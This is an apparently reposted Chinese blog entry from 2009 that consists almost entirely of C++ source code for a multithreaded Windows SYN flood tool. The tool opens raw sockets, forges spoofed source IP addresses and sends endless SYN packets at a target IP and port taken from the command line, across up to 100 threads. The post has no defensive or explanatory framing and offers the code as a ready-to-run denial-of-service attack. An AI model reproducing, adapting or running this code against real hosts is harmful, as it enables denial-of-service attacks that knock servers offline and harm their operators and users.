---
title: "ＶＣ＋＋实现多线程ddos"
author: "winzenghua"
date: "2009-03-29T18:37:00Z"
tags: []
slug: "ddos"
draft: false
lastmod: "2009-03-29T18:37:00Z"
id: 948141
url: "https://java4gis.iteye.com/blog/948141"
---

#include &lt;winsock2.h&gt;  
#include &lt;Ws2tcpip.h&gt;  
#include &lt;stdio.h&gt;

#pragma comment(lib,"ws2\_32.lib")  
#define SEQ 0x28376839

int threadnum,maxthread,port;  
char \*DestIP;//目标IP

void display(void) // 定义状态提示函数  
{  
static int play=0;  
// 进度条  
char \*plays\[12]=  
{  
" | ",  
" / ",  
" - ",  
" \\\\ ",  
" | ",  
" / ",  
" - ",  
" \\\\ ",  
" | ",  
" / ",  
" - ",  
" \\\\ ",  
};

printf("=%s= %d threads \\r", plays\[play],threadnum);  
play=(play==11)?0:play+1;  
}

//定义一个tcphdr结构来存放TCP首部  
typedef struct tcphdr  
{  
USHORT th\_sport;//16位源端口号  
USHORT th\_dport;//16位目的端口号  
unsigned int th\_seq;//32位序列号  
unsigned int th\_ack;//32位确认号  
unsigned char th\_lenres;//4位首部长度+6位保留字中的4位  
unsigned char th\_flag;////6位标志位  
USHORT th\_win;//16位窗口大小  
USHORT th\_sum;//16位效验和  
USHORT th\_urp;//16位紧急数据偏移量  
}TCP\_HEADER;

//定义一个iphdr来存放IP首部  
typedef struct iphdr//ip首部  
{  
unsigned char h\_verlen;//4位手部长度，和4位IP版本号  
unsigned char tos;//8位类型服务  
unsigned short total\_len;//16位总长度  
unsigned short ident;//16位标志  
unsigned short frag\_and\_flags;//3位标志位（如SYN,ACK,等等)  
unsigned char ttl;//8位生存时间  
unsigned char proto;//8位协议  
unsigned short checksum;//ip手部效验和  
unsigned int sourceIP;//伪造IP地址  
unsigned int destIP;//攻击的ip地址  
}IP\_HEADER;

//TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性  
struct  
{  
unsigned long saddr;//源地址  
unsigned long daddr;//目的地址  
char mbz;//置空  
char ptcl;//协议类型  
unsigned short tcpl;//TCP长度  
}PSD\_HEADER;

//计算效验和函数，先把IP首部的效验和字段设为0(IP\_HEADER.checksum=0)  
//然后计算整个IP首部的二进制反码的和。  
USHORT checksum(USHORT \*buffer, int size)  
{  
unsigned long cksum=0;  
while(size &gt;1) {  
cksum+=\*buffer++;  
size-=sizeof(USHORT);  
}  
if(size) cksum+=\*(UCHAR\*)buffer;  
cksum=(cksum &gt;&gt; 16)+(cksum&0xffff);  
cksum+=(cksum &gt;&gt;16);  
return (USHORT)(~cksum);  
}

DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数  
{

SOCKET sock =NULL;  
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;  
struct sockaddr\_in sockAddr;  
TCP\_HEADER tcpheader;  
IP\_HEADER ipheader;  
char sendBuf\[128];

sock=WSASocket(AF\_INET,SOCK\_RAW,IPPROTO\_RAW,NULL,0,WSA\_FLAG\_OVERLAPPED);  
if(sock==INVALID\_SOCKET)  
{  
printf("Socket failed: %d\\n",WSAGetLastError());  
return 0;  
}

//设置IP\_HDRINCL以便自己填充IP首部  
ErrorCode=setsockopt(sock,IPPROTO\_IP,IP\_HDRINCL,(char \*)&flag,sizeof(int));  
if(ErrorCode==SOCKET\_ERROR)  
{  
printf("Set sockopt failed: %d\\n",WSAGetLastError());  
return 0;  
}  
//设置发送超时  
ErrorCode=setsockopt(sock,SOL\_SOCKET,SO\_SNDTIMEO,(char\*)&TimeOut,sizeof(TimeOut));  
if(ErrorCode==SOCKET\_ERROR)  
{  
printf("Set sockopt time out failed: %d\\n",WSAGetLastError());  
return 0;  
}  
//设置目标地址  
memset(&sockAddr,0,sizeof(sockAddr));  
sockAddr.sin\_family=AF\_INET;  
sockAddr.sin\_addr.s\_addr =inet\_addr(DestIP);  
FakeIpNet=inet\_addr(DestIP);  
FakeIpHost=ntohl(FakeIpNet);  
//填充IP首部  
ipheader.h\_verlen=(4&lt;&lt;4 | sizeof(IP\_HEADER)/sizeof(unsigned long));  
ipheader.total\_len = htons(sizeof(IP\_HEADER)+sizeof(TCP\_HEADER));  
ipheader.ident = 1;  
ipheader.frag\_and\_flags = 0;  
ipheader.ttl = 128;  
ipheader.proto = IPPROTO\_TCP;  
ipheader.checksum =0;  
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);  
ipheader.destIP = inet\_addr(DestIP);  
//填充TCP首部  
tcpheader.th\_dport=htons(port);  
tcpheader.th\_sport = htons(8080);  
tcpheader.th\_seq = htonl(SEQ+SendSEQ);  
tcpheader.th\_ack = 0;  
tcpheader.th\_lenres =(sizeof(TCP\_HEADER)/4&lt;&lt;4|0);  
tcpheader.th\_flag = 2;  
tcpheader.th\_win = htons(16384);  
tcpheader.th\_urp = 0;  
tcpheader.th\_sum = 0;

PSD\_HEADER.saddr=ipheader.sourceIP;  
PSD\_HEADER.daddr=ipheader.destIP;  
PSD\_HEADER.mbz=0;  
PSD\_HEADER.ptcl=IPPROTO\_TCP;  
PSD\_HEADER.tcpl=htons(sizeof(tcpheader));

for(;;)  
{

SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;  
ipheader.checksum =0;  
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);  
tcpheader.th\_seq = htonl(SEQ+SendSEQ);  
tcpheader.th\_sport = htons(SendSEQ);  
tcpheader.th\_sum = 0;  
PSD\_HEADER.saddr=ipheader.sourceIP;  
//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和  
memcpy(sendBuf,&PSD\_HEADER,sizeof(PSD\_HEADER));  
memcpy(sendBuf+sizeof(PSD\_HEADER),&tcpheader,sizeof(tcpheader));  
tcpheader.th\_sum=checksum((USHORT \*)sendBuf,sizeof(PSD\_HEADER)+sizeof(tcpheader));

memcpy(sendBuf,&ipheader,sizeof(ipheader));  
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));  
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);  
dataSize=sizeof(ipheader)+sizeof(tcpheader);  
ipheader.checksum=checksum((USHORT \*)sendBuf,dataSize);  
memcpy(sendBuf,&ipheader,sizeof(ipheader));

sendto(sock,sendBuf,dataSize,0,(struct sockaddr\*) &sockAddr,sizeof(sockAddr));  
display();

}//end for  
Sleep(20);  
InterlockedExchangeAdd((long \*)&threadnum,-1);

return 0;  
}

void usage(char \*name)  
{  
printf("\\t===================SYN Flood======================\\n");  
printf("\\t==========gxisone@hotmail.com 2004/7/6========\\n");  
printf("\\tusage: %s \[dest\_IP] \[port] \[thread]\\n",name);  
printf("\\tExample: %s 192.168.1.1 80 100\\n",name);  
}

int main(int argc,char* argv\[])  
{

if(argc!=4)  
{

usage(argv\[0]);  
return 0;  
}  
usage(argv\[1]);

int ErrorCode=0;  
DestIP=argv\[1];//取得目标主机IP  
port=atoi(argv\[2]);//取得目标端口号  
maxthread=(maxthread&gt;100)?100:atoi(argv\[3]);  
//如果线程数大于100则把线程数设置为100

WSADATA wsaData;

if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){  
printf("WSAStartup failed: %d\\n",ErrorCode);  
return 0;  
}

printf("\[start]...........\\nPress any key to stop!\\n");

while(threadnum&lt;maxthread)//循环创建线程  
{  
if(CreateThread(NULL,0,SynfloodThread,0,0,0))  
{  
Sleep(10);  
threadnum++;  
}  
}  
WSACleanup();  
printf("\\n\[Stopd]...........\\n");

return 0;  
}